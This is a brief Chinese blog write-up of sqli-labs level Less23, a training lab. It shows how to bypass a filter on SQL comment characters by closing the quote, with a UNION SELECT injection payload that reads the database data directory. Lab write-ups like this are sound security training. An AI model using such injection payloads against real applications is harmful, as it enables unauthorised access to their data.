sqli-labs靶场Less23(过滤了注释符的绕过) 发表于 2020-10-20 分类于 sqli-labs靶场 阅读次数: 本文字数: 85 阅读时长 ≈ 1 分钟 Less23本关对id参数过滤了#和--的处理。但是还可以使用闭合的方式来注入 1?id=-1' union select 1,@@datadir,'3 本文作者: hzktester 本文链接: https://www.hzktester.top/posts/13aa761f.html 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!